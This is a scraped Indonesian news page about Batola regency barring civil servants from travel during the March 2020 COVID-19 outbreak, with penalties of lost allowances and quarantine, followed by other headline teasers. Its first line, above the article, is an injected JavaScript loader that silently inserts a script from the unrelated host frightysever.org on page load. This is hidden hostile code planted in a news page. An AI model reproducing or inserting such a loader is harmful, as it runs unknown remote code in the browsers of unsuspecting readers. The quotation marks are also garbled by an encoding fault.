(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN – Pemerintah Kabupaten Batola melarang keras Aparatur Sipil Negara (ASN) bepergian ke luar daerah, jika ketahuan maka yang bersangkutan akan bakal terancam tidak akan mendapat tunjangan kinerja.
Diketahui hingga sekarang 25 Maret 2020 sudah ada sebanyak 64 Orang Dalam Pemantauan (ODP) di Kabupaten Batola. Guna mengurangi angka ODP ini, berbagai upaya dilakukan Kabupaten berjuluk Bumi Ijejela ini, salah satunya membatasi perjalanan dinas bagi ASN-nya.
“Kita tekankan kepada mereka untuk tidak keluar daerah baik itu urusan kedinasan ataupun secara pribadi,†kata Wakil Bupati Batola Rahmadian Noor.
Ditambahkan Rahmadi -sapaan akrabnya-, jika terbukti larangan itu diabaikan maka ASN yang bersangkutan akan dikenakan sanksi ditiadakan tunjangannya, hingga karantina mandiri atapun karantina kesehatan, selama 14 hari lama.
“Jadi bagi mereka yang nekat melakukan perjalanan, akan langsung kita karantina, dan dipastikan tidak akan menerima tunjangan kinerja pegawainya,†ancamnya. (kanalkalimantan.com/rdy)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.